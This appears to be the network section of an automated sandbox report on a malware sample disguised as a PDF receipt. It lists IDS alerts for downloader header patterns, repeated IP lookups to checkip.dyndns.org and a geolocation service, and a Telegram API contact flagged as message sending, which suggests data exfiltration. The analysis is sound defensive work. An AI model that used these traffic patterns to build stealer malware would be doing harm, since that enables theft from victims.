2025-01-15T04:01:58.177441+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49706	193.122.6.168	80	TCP
2025-01-15T04:01:59.286838+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49706	193.122.6.168	80	TCP
2025-01-15T04:01:59.838451+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49709	104.21.96.1	443	TCP
2025-01-15T04:02:00.522599+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49710	193.122.6.168	80	TCP
2025-01-15T04:02:01.273507+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49712	104.21.96.1	443	TCP
2025-01-15T04:02:03.911273+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49717	104.21.96.1	443	TCP
2025-01-15T04:02:05.166137+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49719	104.21.96.1	443	TCP
2025-01-15T04:02:09.897310+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.5	49726	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 04:01:56.529614925 CET	49706	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:01:56.534487009 CET	80	49706	193.122.6.168	192.168.2.5
Jan 15, 2025 04:01:56.534548044 CET	49706	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:01:56.534813881 CET	49706	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:01:56.539571047 CET	80	49706	193.122.6.168	192.168.2.5
Jan 15, 2025 04:01:57.449129105 CET	80	49706	193.122.6.168	192.168.2.5
Jan 15, 2025 04:01:57.489944935 CET	49706	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:01:57.724092007 CET	49706	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:01:57.729049921 CET	80	49706	193.122.6.168	192.168.2.5
Jan 15, 2025 04:01:58.127423048 CET	80	49706	193.122.6.168	192.168.2.5
Jan 15, 2025 04:01:58.169548035 CET	49708	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:01:58.169593096 CET	443	49708	104.21.96.1	192.168.2.5
Jan 15, 2025 04:01:58.169661045 CET	49708	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:01:58.174599886 CET	49708	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:01:58.174611092 CET	443	49708	104.21.96.1	192.168.2.5
Jan 15, 2025 04:01:58.177440882 CET	49706	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:01:58.637579918 CET	443	49708	104.21.96.1	192.168.2.5
Jan 15, 2025 04:01:58.637660980 CET	49708	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:01:58.642822981 CET	49708	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:01:58.642831087 CET	443	49708	104.21.96.1	192.168.2.5
Jan 15, 2025 04:01:58.643074036 CET	443	49708	104.21.96.1	192.168.2.5
Jan 15, 2025 04:01:58.684400082 CET	49708	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:01:58.727339029 CET	443	49708	104.21.96.1	192.168.2.5
Jan 15, 2025 04:01:58.806286097 CET	443	49708	104.21.96.1	192.168.2.5
Jan 15, 2025 04:01:58.806345940 CET	443	49708	104.21.96.1	192.168.2.5
Jan 15, 2025 04:01:58.806490898 CET	49708	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:01:58.819315910 CET	49708	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:01:58.822112083 CET	49706	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:01:58.827151060 CET	80	49706	193.122.6.168	192.168.2.5
Jan 15, 2025 04:01:59.242707014 CET	80	49706	193.122.6.168	192.168.2.5
Jan 15, 2025 04:01:59.245131969 CET	49709	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:01:59.245224953 CET	443	49709	104.21.96.1	192.168.2.5
Jan 15, 2025 04:01:59.245320082 CET	49709	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:01:59.245666981 CET	49709	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:01:59.245691061 CET	443	49709	104.21.96.1	192.168.2.5
Jan 15, 2025 04:01:59.286838055 CET	49706	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:01:59.701385975 CET	443	49709	104.21.96.1	192.168.2.5
Jan 15, 2025 04:01:59.703566074 CET	49709	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:01:59.703605890 CET	443	49709	104.21.96.1	192.168.2.5
Jan 15, 2025 04:01:59.838454008 CET	443	49709	104.21.96.1	192.168.2.5
Jan 15, 2025 04:01:59.838507891 CET	443	49709	104.21.96.1	192.168.2.5
Jan 15, 2025 04:01:59.838584900 CET	49709	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:01:59.838972092 CET	49709	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:01:59.841753006 CET	49706	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:01:59.842933893 CET	49710	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:01:59.846803904 CET	80	49706	193.122.6.168	192.168.2.5
Jan 15, 2025 04:01:59.846865892 CET	49706	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:01:59.847815037 CET	80	49710	193.122.6.168	192.168.2.5
Jan 15, 2025 04:01:59.847882986 CET	49710	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:01:59.847949028 CET	49710	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:01:59.852767944 CET	80	49710	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:00.482542992 CET	80	49710	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:00.483912945 CET	49712	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:00.483956099 CET	443	49712	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:00.484050035 CET	49712	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:00.484987974 CET	49712	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:00.485002041 CET	443	49712	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:00.522598982 CET	49710	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:01.117568016 CET	443	49712	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:01.122114897 CET	49712	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:01.122139931 CET	443	49712	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:01.273600101 CET	443	49712	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:01.273777008 CET	443	49712	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:01.273889065 CET	49712	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:01.274255991 CET	49712	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:01.278036118 CET	49713	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:01.283900023 CET	80	49713	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:01.283967972 CET	49713	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:01.284048080 CET	49713	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:01.290906906 CET	80	49713	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:01.918989897 CET	80	49713	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:01.920420885 CET	49715	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:01.920464039 CET	443	49715	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:01.920557976 CET	49715	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:01.920794010 CET	49715	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:01.920804024 CET	443	49715	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:01.974318027 CET	49713	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:02.387032032 CET	443	49715	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:02.388428926 CET	49715	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:02.388458014 CET	443	49715	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:02.518109083 CET	443	49715	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:02.518246889 CET	443	49715	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:02.518306971 CET	49715	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:02.518609047 CET	49715	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:02.521759987 CET	49713	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:02.522727013 CET	49716	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:02.526777029 CET	80	49713	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:02.526845932 CET	49713	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:02.527580023 CET	80	49716	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:02.527674913 CET	49716	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:02.527822971 CET	49716	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:02.532576084 CET	80	49716	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:03.203757048 CET	80	49716	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:03.204955101 CET	49717	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:03.204997063 CET	443	49717	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:03.205070972 CET	49717	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:03.205351114 CET	49717	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:03.205364943 CET	443	49717	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:03.255568981 CET	49716	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:03.686846018 CET	443	49717	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:03.688288927 CET	49717	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:03.688311100 CET	443	49717	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:03.911293983 CET	443	49717	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:03.911398888 CET	443	49717	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:03.911545038 CET	49717	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:03.911778927 CET	49717	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:03.914721966 CET	49716	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:03.915929079 CET	49718	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:03.919684887 CET	80	49716	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:03.919744968 CET	49716	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:03.920785904 CET	80	49718	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:03.920849085 CET	49718	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:03.921000957 CET	49718	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:03.925728083 CET	80	49718	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:04.547422886 CET	80	49718	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:04.548794031 CET	49719	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:04.548846006 CET	443	49719	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:04.548954964 CET	49719	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:04.549215078 CET	49719	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:04.549226046 CET	443	49719	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:04.599447012 CET	49718	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:05.007234097 CET	443	49719	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:05.016590118 CET	49719	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:05.016612053 CET	443	49719	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:05.166163921 CET	443	49719	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:05.166238070 CET	443	49719	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:05.166287899 CET	49719	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:05.166656017 CET	49719	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:05.169538021 CET	49718	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:05.170484066 CET	49720	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:05.174494028 CET	80	49718	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:05.174562931 CET	49718	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:05.175326109 CET	80	49720	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:05.175391912 CET	49720	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:05.175487995 CET	49720	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:05.180241108 CET	80	49720	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:05.810555935 CET	80	49720	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:05.811770916 CET	49721	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:05.811814070 CET	443	49721	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:05.811906099 CET	49721	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:05.812139988 CET	49721	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:05.812150955 CET	443	49721	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:05.865010977 CET	49720	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:06.263942003 CET	443	49721	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:06.265682936 CET	49721	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:06.265712023 CET	443	49721	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:06.445568085 CET	443	49721	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:06.445657015 CET	443	49721	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:06.445727110 CET	49721	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:06.446129084 CET	49721	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:06.448869944 CET	49720	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:06.449939966 CET	49722	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:06.453855038 CET	80	49720	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:06.453924894 CET	49720	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:06.454756021 CET	80	49722	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:06.454822063 CET	49722	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:06.454889059 CET	49722	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:06.459626913 CET	80	49722	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:07.090585947 CET	80	49722	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:07.092148066 CET	49723	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:07.092212915 CET	443	49723	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:07.092308044 CET	49723	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:07.092530012 CET	49723	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:07.092541933 CET	443	49723	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:07.130615950 CET	49722	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:07.565371990 CET	443	49723	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:07.566771030 CET	49723	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:07.566791058 CET	443	49723	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:07.711591959 CET	443	49723	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:07.711663961 CET	443	49723	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:07.711726904 CET	49723	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:07.712060928 CET	49723	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:07.714698076 CET	49722	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:07.715699911 CET	49724	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:07.719731092 CET	80	49722	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:07.719809055 CET	49722	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:07.720664978 CET	80	49724	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:07.720740080 CET	49724	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:07.720810890 CET	49724	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:07.725629091 CET	80	49724	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:08.375472069 CET	80	49724	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:08.376617908 CET	49725	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:08.376645088 CET	443	49725	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:08.376708984 CET	49725	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:08.376929045 CET	49725	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:08.376944065 CET	443	49725	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:08.427474976 CET	49724	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:08.844438076 CET	443	49725	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:08.846085072 CET	49725	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:08.846120119 CET	443	49725	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:08.972209930 CET	443	49725	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:08.972369909 CET	443	49725	104.21.96.1	192.168.2.5
Jan 15, 2025 04:02:08.972421885 CET	49725	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:08.972835064 CET	49725	443	192.168.2.5	104.21.96.1
Jan 15, 2025 04:02:09.002677917 CET	49724	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:09.007720947 CET	80	49724	193.122.6.168	192.168.2.5
Jan 15, 2025 04:02:09.007822990 CET	49724	80	192.168.2.5	193.122.6.168
Jan 15, 2025 04:02:09.010353088 CET	49726	443	192.168.2.5	149.154.167.220
Jan 15, 2025 04:02:09.010402918 CET	443	49726	149.154.167.220	192.168.2.5
Jan 15, 2025 04:02:09.010469913 CET	49726	443	192.168.2.5	149.154.167.220
Jan 15, 2025 04:02:09.010948896 CET	49726	443	192.168.2.5	149.154.167.220
Jan 15, 2025 04:02:09.010965109 CET	443	49726	149.154.167.220	192.168.2.5
Jan 15, 2025 04:02:09.654546022 CET	443	49726	149.154.167.220	192.168.2.5
Jan 15, 2025 04:02:09.654624939 CET	49726	443	192.168.2.5	149.154.167.220
Jan 15, 2025 04:02:09.666347027 CET	49726	443	192.168.2.5	149.154.167.220
Jan 15, 2025 04:02:09.666364908 CET	443	49726	149.154.167.220	192.168.2.5
Jan 15, 2025 04:02:09.666775942 CET	443	49726	149.154.167.220	192.168.2.5
Jan 15, 2025 04:02:09.669616938 CET	49726	443	192.168.2.5	149.154.167.220
Jan 15, 2025 04:02:09.711369991 CET	443	49726	149.154.167.220	192.168.2.5
Jan 15, 2025 04:02:09.897419930 CET	443	49726	149.154.167.220	192.168.2.5
Jan 15, 2025 04:02:09.897582054 CET	443	49726	149.154.167.220	192.168.2.5
Jan 15, 2025 04:02:09.897660017 CET	49726	443	192.168.2.5	149.154.167.220
Jan 15, 2025 04:02:09.901885986 CET	49726	443	192.168.2.5	149.154.167.220
Jan 15, 2025 04:02:17.908447981 CET	49710	80	192.168.2.5	193.122.6.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 04:01:56.511774063 CET	64373	53	192.168.2.5	1.1.1.1
Jan 15, 2025 04:01:56.518548965 CET	53	64373	1.1.1.1	192.168.2.5
Jan 15, 2025 04:01:58.161719084 CET	64315	53	192.168.2.5	1.1.1.1
Jan 15, 2025 04:01:58.168842077 CET	53	64315	1.1.1.1	192.168.2.5
Jan 15, 2025 04:02:09.002589941 CET	62371	53	192.168.2.5	1.1.1.1
Jan 15, 2025 04:02:09.009260893 CET	53	62371	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 04:01:56.511774063 CET	192.168.2.5	1.1.1.1	0xa0cf	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:01:58.161719084 CET	192.168.2.5	1.1.1.1	0x2db2	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:02:09.002589941 CET	192.168.2.5	1.1.1.1	0x4361	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 04:01:56.518548965 CET	1.1.1.1	192.168.2.5	0xa0cf	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 04:01:56.518548965 CET	1.1.1.1	192.168.2.5	0xa0cf	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:01:56.518548965 CET	1.1.1.1	192.168.2.5	0xa0cf	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:01:56.518548965 CET	1.1.1.1	192.168.2.5	0xa0cf	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:01:56.518548965 CET	1.1.1.1	192.168.2.5	0xa0cf	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:01:56.518548965 CET	1.1.1.1	192.168.2.5	0xa0cf	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:01:58.168842077 CET	1.1.1.1	192.168.2.5	0x2db2	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:01:58.168842077 CET	1.1.1.1	192.168.2.5	0x2db2	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:01:58.168842077 CET	1.1.1.1	192.168.2.5	0x2db2	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:01:58.168842077 CET	1.1.1.1	192.168.2.5	0x2db2	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:01:58.168842077 CET	1.1.1.1	192.168.2.5	0x2db2	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:01:58.168842077 CET	1.1.1.1	192.168.2.5	0x2db2	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:01:58.168842077 CET	1.1.1.1	192.168.2.5	0x2db2	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 04:02:09.009260893 CET	1.1.1.1	192.168.2.5	0x4361	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	193.122.6.168	80	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 04:01:56.534813881 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 04:01:57.449129105 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:01:57 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 15, 2025 04:01:57.724092007 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 15, 2025 04:01:58.127423048 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:01:58 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 15, 2025 04:01:58.822112083 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 15, 2025 04:01:59.242707014 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:01:59 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49710	193.122.6.168	80	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 04:01:59.847949028 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 15, 2025 04:02:00.482542992 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:02:00 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49713	193.122.6.168	80	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 04:02:01.284048080 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 04:02:01.918989897 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:02:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

